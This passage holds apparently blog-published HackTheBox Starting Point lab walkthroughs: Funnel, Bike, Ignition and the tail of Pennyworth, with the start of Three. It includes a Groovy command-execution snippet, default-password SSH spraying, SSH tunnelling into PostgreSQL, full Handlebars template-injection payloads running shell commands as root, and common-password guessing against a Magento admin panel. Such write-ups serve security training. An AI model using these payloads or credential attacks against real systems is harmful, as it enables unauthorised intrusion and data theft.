StringBuilder(), serr = new StringBuilder() def proc = \u0026#39;cat /root/flag.txt\u0026#39;.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println \u0026#34;out\u0026gt; $sout err\u0026gt; $serr\u0026#34; Listing 19 - Adjusting payload to display the flag When executed, the flag appears under Result.\nFigure 7: Redacted flag\nCongratulations \u0026ndash; we have completed the challenge. All that remains is to terminate the target box (if it is not terminated automatically) before proceeding to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/pennyworth/","summary":"HackTheBox | Starting Point | Tier 1 | Pennyworth","title":"Pennyworth"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Funnel\nReleased: 12/12/2022 MACHINE SYNOPSIS\nFunnel is a very easy Linux machine that explores SSH tunneling techniques. The machine features a misconfigured FTP server that allows anonymous authentication, in which a file containing cleartext credentials can be found. Hydra is then used to perform a password spray and get remote access. Upon enumerating the services running locally on the machine, PostgreSQL can be exploited by leveraging port-forwarding.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: How many TCP ports are open?\n2\nWe begin with a quick connectivity check, followed by an all-ports TCP scan to obtain our first answer.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3004ms ... user@kali:~$ Listing 3 - Connection check Even with the packet rate doubled, the Nmap scan may take some time to complete.\nuser@kali:~$ nmap -p- --min-rate=10000 $rhost ... PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh ... user@kali:~$ Listing 4 - Scanning all TCP ports Our target has two services active: FTP and SSH.\nTask-2 Question: What is the name of the directory that is available on the FTP server?\nmail_backup\nGathering additional information about the running FTP service reveals that anonymous login is enabled.\nuser@kali:~$ nmap -sC -sV -p 21 $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) ... user@kali:~$ Listing 5 - Running service detection and script scanning against the FTP service Connecting anonymously \u0026ndash; using anonymous as the username without a password \u0026ndash; reveals two interesting files: password_policy.pdf and welcome_28112022.\nuser@kali:~$ ftp $rhost 21 ... Name (10.129.228.195:root): anonymous 331 Please specify the password. Password: ... ftp\u003e ls ... drwxr-xr-x 2 ftp ftp 4096 ... mail_backup ... ftp\u003e cd mail_backup ... ftp\u003e ls ... -rw-r--r-- 1 ftp ftp 58899 ... password_policy.pdf -rw-r--r-- 1 ftp ftp 713 ... welcome_28112022 ... ftp\u003e Listing 6 - Using the anonymous FTP connection to enumerate sensitive files Since these files are available, we download them for further analysis.\nftp\u003e get password_policy.pdf ... ftp\u003e get welcome_28112022 ... ftp\u003e exit 221 Goodbye. user@kali:~$ Listing 7 - Downloading remote files via anonymous FTP Task-3 Question: What is the default account password that every new member on the \u0026lsquo;Funnel\u0026rsquo; team should change as soon as possible?\nfunnel123#!#\nFrom the files collected in Task-2, we extract the following potential credentials:\nUsernames: root, optimus, albert, andreas, christine, maria Hostname: funnel.htb Default password: funnel123#!# The contents of welcome_28112022 are as follows:\nFrom: root@funnel.htb\nTo: optimus@funnel.htb albert@funnel.htb andreas@funnel.htb christine@funnel.htb maria@funnel.htb\nSubject:Welcome to the team!\nHello everyone,\nWe would like to welcome you to our team.\nWe think you\u0026rsquo;ll be a great asset to the \u0026ldquo;Funnel\u0026rdquo; team and want to make sure you get settled in as smoothly as possible.\nWe have set up your accounts that you will need to access our internal infrastructure. Please, read through the attached password policy with extreme care.\nAll the steps mentioned there should be completed as soon as possible. If you have any questions or concerns feel free to reach directly to your manager.\nWe hope that you will have an amazing time with us,\nThe funnel team.\nListing 8 - The welcome_28112022 file The content of password_policy.pdf is shown below:\nFigure 1: Password policy outlined in the password_policy.pdf\nTask-4 Question: Which user has not changed their default password yet?\nChristine\nTesting the collected usernames one by one proves fruitful, yielding successful access:\n... user@kali:~$ ssh albert@$rhost -p 22 albert@10.129.228.195's password: Permission denied, please try again. albert@10.129.228.195's password: user@kali:~$ ssh andreas@$rhost -p 22 andreas@10.129.228.195's password: Permission denied, please try again. andreas@10.129.228.195's password: user@kali:~$ ssh christine@$rhost -p 22 christine@10.129.228.195's password: Welcome to Ubuntu ... ... christine@funnel:~$ Listing 9 - Password spraying with default password It appears that christine neglected to reset her default password.\nTask-5 Question: Which service is running on TCP port 5432 and listens only on localhost?\npostgresql\nOne method to identify this service is to consult the /etc/services file:\nchristine@funnel:~$ cat /etc/services | grep 5432 postgresql\t5432/tcp\tpostgres\t# PostgreSQL Database christine@funnel:~$ Listing 10 - Service enumeration on the target Task-6 Question: Since you can\u0026rsquo;t access the previously mentioned service from the local machine, you will have to create a tunnel and connect to it from your machine. What is the correct type of tunneling to use?\nremote port forwarding local port forwarding local port forwarding\nSince our goal is to forward traffic from an arbitrary port on our local machine (4444) to port 5432 on the target machine (PostgreSQL), we employ local port forwarding.\nConsulting the ssh man page clarifies the addressing format:\n\u0026hellip;\n-L [bind_address:]port:host:hostport\n\u0026hellip;\nListing 11 - Snippet from SSH's man page We establish the tunnel as follows:\n# setting up local port forwarding on local machine user@kali:~$~$ ssh -L 4444:localhost:5432 christine@$rhost christine@10.129.228.195's password: Welcome to Ubuntu .... ... christine@funnel:~$ Listing 12 - Setting up local port forwarding on the local machine Task-7 Question: What is the name of the database that holds the flag?\nsecrets\nLeveraging the local port forwarding we just established, we open another terminal on our local machine and launch psql. For the database configuration, we set the server to localhost and the port to the forwarded port (4444).\nWhen an SQL command is executed on the local machine, it is sent to port 4444 (still on the local machine), then \u0026ndash; by virtue of the port forwarding \u0026ndash; forwarded to port 5432 on the target machine, where PostgreSQL is listening and processes the command.\nThe connection path is illustrated below:\n1 sql-command 2 \u0026ndash; \u0026gt; terminal(local machine)\n3 \u0026ndash; \u0026ndash; \u0026gt; port 4444 (local machine)\n4 \u0026ndash; \u0026ndash; \u0026ndash; \u0026gt; localhost (target machine)\n5 \u0026ndash; \u0026ndash; \u0026ndash; \u0026ndash; \u0026gt; port 5432 (target machine)\n6 \u0026ndash; \u0026ndash; \u0026ndash; \u0026ndash; \u0026ndash; \u0026gt; postgres (target machine) Listing 13 - Connection path explained Note that we use the same credentials to access PostgreSQL as we used for the SSH connection.\nuser@kali:~$ psql -U christine -h localhost -p 4444 Password for user christine: psql ... Type \"help\" for help. ... userchristine=# Listing 14 - PostgreSQL access through the established tunnel Upon listing all available databases, we identify one of particular interest.\nuserchristine=#\\list List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+-----------+----------+------------+------------+------------------------- christine | christine | UTF8 | en_US.utf8 | en_US.utf8 | postgres | christine | UTF8 | en_US.utf8 | en_US.utf8 | secrets | christine | UTF8 | en_US.utf8 | en_US.utf8 | template0 | christine | UTF8 | en_US.utf8 | en_US.utf8 | =c/christine + | | | | | christine=CTc/christine template1 | christine | UTF8 | en_US.utf8 | en_US.utf8 | =c/christine + | | | | | christine=CTc/christine ... userchristine=# Listing 15 - Enumerating databases Selecting the appropriate database and table, then retrieving all table contents, yields the flag.\nuserchristine=#\\connect secrets ... You are now connected to database \"secrets\" as user \"christine\". secrets=# \\dt List of relations Schema | Name | Type | Owner --------+------+-------+----------- public | flag | table | christine ... secrets=# select * from flag; value ---------------------------------- \u0026lt;redacted-flag\u0026gt; ... secrets=# Listing 16 - Enumerating the secret table Task-8 Question: Could you use a dynamic tunnel instead of local port forwarding?\nYes No yes\nReading up on dynamic tunnels should make this clear.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nThe flag was already acquired in Task-7.\nCongratulations, we completed the challenge. All that\u0026rsquo;s left is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before we move on to the next box!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/funnel/","summary":"HackTheBox | Starting Point | Tier 1 | Funnel","title":"Funnel"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Bike\nReleased: 01/03/2022 MACHINE SYNOPSIS\nBike is a very easy Linux machine that introduces Server-Side Template Injection (SSTI) in a Node.js application using the Handlebars template engine. The SSTI in the web application can be leveraged to escape the sandbox environment and achieve command execution via Node.js global objects.\nPreparations There are several ways to connect to the target machine. The method we will use throughout this walkthrough is the provided pwnbox.\nOnce we have established our connection, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What TCP ports does nmap identify as open? Answer with a list of ports separated by commas with no spaces, from low to high.\n22,80\nWe begin our reconnaissance with a quick connectivity check.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3006ms ... user@kali:~$ Listing 3 - Connection check Scanning all TCP ports tends to be time-consuming, so we specify the number of packets to send per second to accelerate the scan.\nuser@kali:~$ nmap -p- --min-rate 5000 $rhost ... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http ... user@kali:~$ Listing 4 - Scanning all TCP ports Only two ports appear to be open: port 22 and port 80.\nTask-2 Question: What software is running the service listening on the http/web port identified in the first question?\nnode.js\nUsing the -sV option with nmap helps us determine the service running on the specified port.\nuser@kali:~$ nmap -sV -p 80 $rhost ... PORT STATE SERVICE VERSION 80/tcp open http Node.js (Express middleware) ... user@kali:~$ Listing 5 - Version scanning TCP port 80 Using our browser to examine the site, we see the following:\nFigure 1: Bike website\nTask-3 Question: What is the name of the Web Framework according to Wappalyzer?\nexpress\nThe Wappalyzer extension returns Express for the web framework option.\nSimilarly, fingerprinting the server with whatweb reveals the same result.\nuser@kali:~$ whatweb $rhost ... JQuery[2.2.4], Script, Title[Bike], X-Powered-By[Express] ... user@kali:~$ Listing 6 - Fingerprinting with WhatWeb Task-4 Question: What is the name of the vulnerability we test for by submitting {{7*7}}?\nserver side template injection\nSubmitting {{7*7}} into the E-mail field generates an error message, suggesting the application is vulnerable.\nFigure 2: Website vulnerability check\nNow that we have identified the vulnerability, we research it to understand its mechanics before attempting exploitation.\nTask-5 Question: What is the templating engine being used within Node.JS?\nhandlebars\nTaking another look at the error message generated in Task-4, we notice multiple references to handlebars.\n0\t\u0026#34;Error: Parse error on line 1:\u0026#34; 1\t\u0026#34;{{7*7}}\u0026#34; 2\t\u0026#34;--^\u0026#34; 3\t\u0026#34;Expecting \u0026#39;ID\u0026#39;, \u0026#39;STRING\u0026#39;, \u0026#39;NUMBER\u0026#39;, \u0026#39;BOOLEAN\u0026#39;, \u0026#39;UNDEFINED\u0026#39;, \u0026#39;NULL\u0026#39;, \u0026#39;DATA\u0026#39;, got \u0026#39;INVALID\u0026#39;\u0026#34; 4\t\u0026#34; at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)\u0026#34; 5\t\u0026#34; at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)\u0026#34; 6\t\u0026#34; at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)\u0026#34; ... Listing 7 - Error message mentioning handlebars Having identified the vulnerability, we search for exploitation methods. One payload we found for the Handlebars templating engine is the following:\n{{#with \u0026#34;s\u0026#34; as |string|}} {{#with \u0026#34;e\u0026#34;}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub \u0026#34;constructor\u0026#34;)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push \u0026#34;return require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;whoami\u0026#39;);\u0026#34;}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} Listing 8 - Server-side template injection (SSTI) proof-of-concept payload Task-6 Question: What is the name of the BurpSuite tab used to encode text?\ndecoder\nThe answer becomes apparent upon examining the various tabs available in Burp Suite.\nTask-7 Question: In order to send special characters in our payload in an HTTP request, we\u0026rsquo;ll encode the payload. What type of encoding do we use?\nurl\nBecause this will be part of a web request, URL encoding and formatting are required. Therefore, we use the Encode as URL option in the Decoder to encode our payload.\nFigure 3: Decode in Burp Suite\nTask-8 Question: When we use a payload from HackTricks to try to run system commands, we get an error back. What is \u0026rsquo;not defined\u0026rsquo; in the response error?\nrequire\nFirst, we need to capture the HTTP request sent when submitting {{7*7}} into the E-mail field.\nWe accomplish this by launching Burp Suite, enabling intercept in the Proxy tab, and activating the FoxyProxy extension in our browser to forward traffic to Burp Suite. Finally, we submit the same request in our browser as before.\nWith everything configured properly, our HTTP request is intercepted and displayed in the Proxy tab. We send it to Repeater so that we can modify specific portions.\nFigure 4: Modifying the request using Repeater\nNext, we use the URL-encoded payload from Task-7. Once our payload is properly formatted, we set it as the value for the email URL parameter in the Repeater tab.\nFigure 5: URL-encoded payload\nAfter sending the request, we receive the following response:\nHTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 ... Connection: close [\u0026#34;ReferenceError: require is not defined\u0026#34;,\u0026#34; at Function.eval (eval at \u0026lt;anonymous\u0026gt; (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), \u0026lt;anonymous\u0026gt;:3:1)\u0026#34;,\u0026#34; at Function.\u0026lt;anonymous\u0026gt; (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)\u0026#34;,\u0026#34; at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), \u0026lt;anonymous\u0026gt;:5:37)\u0026#34;,\u0026#34; ... Listing 9 - SSTI proof-of-concept response indicating errors Task-9 Question: What variable is the name of the top-level scope in Node.JS?\nglobal\nOur current payload does not work, as evidenced by the error received in Task-8. It is time to debug, research, and experiment.\nTask-10 Question: By exploiting this vulnerability, we get command execution as the user that the web server is running as. What is the name of that user?\nroot\nAfter extensive experimentation, we found a working payload:\n{{#with \u0026#34;s\u0026#34; as |string|}} {{#with \u0026#34;e\u0026#34;}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub \u0026#34;constructor\u0026#34;)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push \u0026#34;return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;whoami\u0026#39;);\u0026#34;}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} Listing 10 - SSTI proof-of-concept using execSync instead of exec When we send this payload, we receive the following response:\nHTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 ... \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ... \u0026lt;div id=\u0026#34;contact\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;We can let you know once we are up and running.\u0026lt;/h3\u0026gt; \u0026lt;div class=\u0026#34;fields\u0026#34;\u0026gt; \u0026lt;form id=\u0026#34;form\u0026#34; method=\u0026#34;POST\u0026#34; action=\u0026#34;/\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;email\u0026#34; placeholder=\u0026#34;E-mail\u0026#34;\u0026gt;\u0026lt;/input\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;button-54\u0026#34; name=\u0026#34;action\u0026#34; value=\u0026#34;Submit\u0026#34;\u0026gt;Submit\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p class=\u0026#34;result\u0026#34;\u0026gt; We will contact you at: e 2 [object Object] function Function() { [native code] } 2 [object Object] root ... \u0026lt;/html\u0026gt; Listing 11 - Root user access after successful exploitation This indicates that any commands we execute in our payloads run with root privileges on the target system.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe must make further modifications to our payload to display the flag in the HTTP response. First, we check the current directory and list the files there.\n// modified payload to list the files in the current directory ... return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;ls\u0026#39;);\u0026#34; ... Listing 12 - Adjusting payload for enumeration We URL-encode the payload and paste it into Repeater as the value for the email parameter. Sending the request and examining the response shows that the flag is not located in the current directory.\nHTTP/1.1 200 OK ... \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ... index.js node_modules package.json package-lock.json public routes views ... \u0026lt;/html\u0026gt; Listing 13 - Enumerating the target However, examining the parent directory with cd .. \u0026amp;\u0026amp; ls reveals the flag\u0026rsquo;s location.\n// modified payload to list the files in our parent directory ... return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cd .. \u0026amp;\u0026amp; ls\u0026#39;); ... Listing 14 - Further adjustments for enumeration Repeating the same process \u0026ndash; URL-encoding the payload, pasting the encoded result into the email parameter, and sending the request \u0026ndash; yields the desired response:\nHTTP/1.1 200 OK ... \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ... \u0026lt;p class=\u0026#34;result\u0026#34;\u0026gt; ... flag.txt snap ... \u0026lt;/html\u0026gt; Listing 15 - Discovered flag.txt file It remains only to retrieve the flag. Adjusting our payload is straightforward:\n... // modified payload to grab the flag from the parent directory {{this.push \u0026#34;return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cd .. \u0026amp;\u0026amp; cat flag.txt\u0026#39;);\u0026#34;}} ... Listing 16 - Modifying the payload to read the flag Here is the complete, final payload we use:\n{{#with \u0026#34;s\u0026#34; as |string|}} {{#with \u0026#34;e\u0026#34;}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub \u0026#34;constructor\u0026#34;)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push \u0026#34;return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cd .. \u0026amp;\u0026amp; cat flag.txt\u0026#39;);\u0026#34;}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} Listing 17 - Complete final payload Once we repeat the previous steps, the flag is displayed in our HTTP response.\nHTTP/1.1 200 OK ... \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ... \u0026lt;head\u0026gt; ... \u0026lt;title\u0026gt; Bike \u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;header\u0026gt; ... \u0026lt;/header\u0026gt; \u0026lt;body\u0026gt; ... \u0026lt;div id=\u0026#34;contact\u0026#34;\u0026gt; ... \u0026lt;p class=\u0026#34;result\u0026#34;\u0026gt; ... [object Object] \u0026lt;redacted-flag\u0026gt; ... \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ... \u0026lt;/body\u0026gt; ... \u0026lt;/html\u0026gt; Listing 18 - Successfully reading the flag This is how it appears in Burp Suite:\nFigure 6: HTTP Response containing the flag\nCongratulations, we have completed the challenge. All that remains is to terminate the target box \u0026ndash; if it has not been terminated automatically \u0026ndash; and proceed to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/bike/","summary":"HackTheBox | Starting Point | Tier 1 | Bike","title":"Bike"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Ignition\nReleased: 06/10/2021 MACHINE SYNOPSIS\nIgnition is a very easy Linux machine that features basic enumeration of web applications and virtual host resolution. Upon enumerating open services, an Nginx web server is discovered which requires local domain name resolution to be accessed properly. After enumerating the website and conducting directory fuzzing, a Magento admin panel can be found with weak credentials.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we use the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; though not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Which service version is found to be running on port 80?\nnginx 1.14.2\nWe begin the reconnaissance phase with a connectivity check.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3004ms ... user@kali:~$ Listing 3 - Connection check Next, we use Nmap to scan the target \u0026ndash; here, only the top 1000 TCP ports \u0026ndash; for available services.\nuser@kali:~$ nmap -sV $rhost ... PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.2 ... user@kali:~$ Listing 4 - Version scanning the top 1000 TCP ports Task-2 Question: What is the 3-digit HTTP status code returned when you visit \u0026lsquo;http://\u0026lt;machine-IP\u0026gt;/\u0026rsquo;?\n302\nWe use curl to inspect the HTTP response.\nuser@kali:~$ curl http://$rhost/ -v ... \u003e GET / HTTP/1.1 \u003e Host: 10.129.131.157 \u003e User-Agent: curl/7.88.1 \u003e Accept: */* \u003e \u003c HTTP/1.1 302 Found \u003c Server: nginx/1.14.2 ... \u003c Location: http://ignition.htb/ ... user@kali:~$ Listing 5 - Interesting location in HTTP response Task-3 Question: What is the virtual host name the webpage expects to be accessed by?\nignition.htb\nThe answer appears in the HTTP response from the previous task.\nAlternatively, fingerprinting the server with whatweb yields the same result.\nuser@kali:~$ whatweb $rhost ... RedirectLocation[http://ignition.htb/]... user@kali:~$ Listing 6 - Redirected location when fingerprinting with WhatWeb Task-4 Question: What is the full path to the file on a Linux computer that holds a local list of domain name to IP address pairs?\n/etc/hosts\nAttempting to access the webpage \u0026ndash; ignition.htb \u0026ndash; results in an error.\nuser@kali:~$ curl http://ignition.htb curl: (6) Could not resolve host: ignition.htb user@kali:~$ Listing 7 - Host resolution issue We resolve this by manually adding the host-to-IP mapping to our hosts file. On the pwnbox, which runs Parrot OS (based on Debian), this file is located at /etc/hosts.\nuser@kali:~$ echo -e \"# ignition box | host -\u003e ip resolution\\n$rhost ignition.htb\" | sudo tee -a /etc/hosts # ignition box | host -\u003e ip resolution 10.129.131.157 ignition.htb user@kali:~$ cat /etc/hosts ... # ignition box | host -\u003e ip resolution 10.129.131.157 ignition.htb user@kali:~$ Listing 8 - Fixing host resolution issue Task-5 Question: Use a tool to brute force directories on the webserver. What is the full URL to the Magento login page?\nhttp://ignition.htb/admin\nHere we use Gobuster in directory discovery mode \u0026ndash; dir \u0026ndash; with the common DIRB wordlist \u0026ndash; /usr/share/wordlists/dirb/common.txt.\nuser@kali:~$ gobuster dir -u http://ignition.htb/ -w /usr/share/wordlists/dirb/common.txt ... /0 (Status: 200) [Size: 25803] /admin (Status: 200) [Size: 7095] /catalog (Status: 302) [Size: 0] [--\u003e http://ignition.htb/] /checkout (Status: 302) [Size: 0] [--\u003e http://ignition.htb/checkout/cart/] /cms (Status: 200) [Size: 25817] /contact (Status: 200) [Size: 28673] /enable-cookies (Status: 200) [Size: 27176] /errors (Status: 301) [Size: 185] [--\u003e http://ignition.htb/errors/] /Home (Status: 301) [Size: 0] [--\u003e http://ignition.htb/home] /home (Status: 200) [Size: 25802] /index.php (Status: 200) [Size: 25815] /media (Status: 301) [Size: 185] [--\u003e http://ignition.htb/media/] /opt (Status: 301) [Size: 185] [--\u003e http://ignition.htb/opt/] /rest (Status: 400) [Size: 52] /robots.txt (Status: 200) [Size: 1] /robots (Status: 200) [Size: 1] /setup (Status: 301) [Size: 185] [--\u003e http://ignition.htb/setup/] /soap (Status: 200) [Size: 391] /static (Status: 301) [Size: 185] [--\u003e http://ignition.htb/static/] /wishlist (Status: 302) [Size: 0] [--\u003e http://ignition.htb/customer/account/login/referer/aHR0cDovL2lnbml0aW9uLmh0Yi93aXNobGlzdA%2C%2C/] ... user@kali:~$ Listing 9 - Directory enumeration with Gobuster The /admin endpoint appears most promising, so we navigate to it.\nFigure 1: Magento admin login page\nWe have located the admin login page for Magento.\nTask-6 Question: Look up the password requirements for Magento and also try searching for the most common passwords of 2023. Which password provides access to the admin account?\nqwerty123\nDuring our research into Magento password requirements, we encounter the following:\n\u0026hellip;\nMagento requires a minimum of seven characters (both letters and numbers). We recommend using something a bit more robust \u0026ndash; a 10–12 character alphanumeric password. Pro-tip: Do not try to think of a password yourself.\n\u0026hellip;\nThus, the admin password is likely at least seven characters. Additionally, we find the following list of most common passwords for 2023:\n- 123456\n- 123456789\n- qwerty\n- password\n- 12345\n- qwerty123\n- 1q2w3e\n- 12345678\n- 111111\n- 1234567890\nListing 10 - Most common password list in 2023 Given the seven-character minimum requirement, our list narrows to the following:\n- 123456789\n- password\n- qwerty123\n- 12345678\n- 1234567890\nListing 11 - Adjusted common password list Testing these one by one proves successful. The credentials for the Magento instance are as follows:\nUsername: admin Password: qwerty123 Submit The Flag Upon logging in, we are immediately greeted with the flag.\nFigure 2: Magento dashboard displaying the flag\nQuestion: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nCongratulations \u0026ndash; we have completed the challenge. All that remains is to terminate the target box (if not terminated automatically) before proceeding to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/ignition/","summary":"HackTheBox | Starting Point | Tier 1 | Ignition","title":"Ignition"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Three\nReleased: 03/08/2022 MACHINE SYNOPSIS\nThree is a very easy Linux machine featuring a website using a misconfigured AWS S3 bucket as its cloud-storage device. The machine explores web application enumeration and subdomain fuzzing to detect the hidden domain corresponding to the S3 bucket. Then it showcases using the AWS command line interface to access the vulnerable S3 bucket as well as how to exploit it by uploading and triggering a reverse shell.\nPreparations Several methods exist for connecting to the target machine; throughout this walkthrough, we utilize the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; though not strictly required \u0026ndash; we can set a local variable (available only in the current shell) containing the target host\u0026rsquo;s IP address. Once defined, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable, rhost, to store the target's IP address We can remove the variable using the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: How many TCP ports are open?\n2\nWe begin reconnaissance with a quick connectivity check, pinging the target four times.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3006ms ... user@kali:~$ Listing 3 - Connection check After confirming a stable connection, we proceed with a fast, all-ports TCP scan.\nuser@kali:~$ nmap -p- --min-rate=5000 $rhost ... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http ... user@kali:~$ Listing 4 - Scanning all TCP ports The results indicate a web server is running. We examine the landing page.\nFigure 1: Landing page for the The Toppers website\nThe site appears to belong to a band. Nothing immediately stands out, so we continue with common directory enumeration.\nuser@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt ... /.hta (Status: 403) [Size: 279] /.htaccess (Status: 403) [Size: 279] /.htpasswd (Status: 403) [Size: 279] /images (Status: 301) [Size: 317] [--\u003e http://10.129.165.251/images/] /index.php (Status: 200) [Size: 11952] /server-status (Status: 403) [Size: 279] ... user@kali:~$ Listing 5 - Running directory enumeration against the target website The enumeration reveals nothing particularly interesting.\nTask-2 Question: What is the domain of the email address provided in the Contact section of the website?\nthetoppers.htb\nA brief examination of the website\u0026rsquo;s Contact page reveals the answer.\nFigure 2: Contact page on the target website\nInterestingly, whatweb also identifies the domain.\nuser@kali:~$ whatweb $rhost ... Email[mail@thetoppers.htb]... user@kali:~$ Listing 6 - Getting a fingerprint with WhatWeb Task-3 Question: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?\n/etc/hosts\nOn the pwnbox (Parrot OS, Debian-based Linux), this file is located at /etc/hosts. Let us examine it.\nuser@kali:~$ cat /etc/hosts ... 127.0.1.1 htb-vwn6wdartu.htb-cloud.com htb-vwn6wdartu 127.0.0.1 localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters ... user@kali:~$ Listing 7 - Host file on our attacker machine Before continuing, we add the newly discovered host-to-IP mapping to our hosts file.\nuser@kali:~$ echo -e \"# three-machine host-IP-mapping \\n$rhost thetoppers.htb\" | sudo tee -a /etc/hosts # three-machine host-IP-mapping 10.129.165.251 thetoppers.htb user@kali:~$ Listing 8 - Added host resolution for the target website Task-4 Question: Which sub-domain is discovered during further 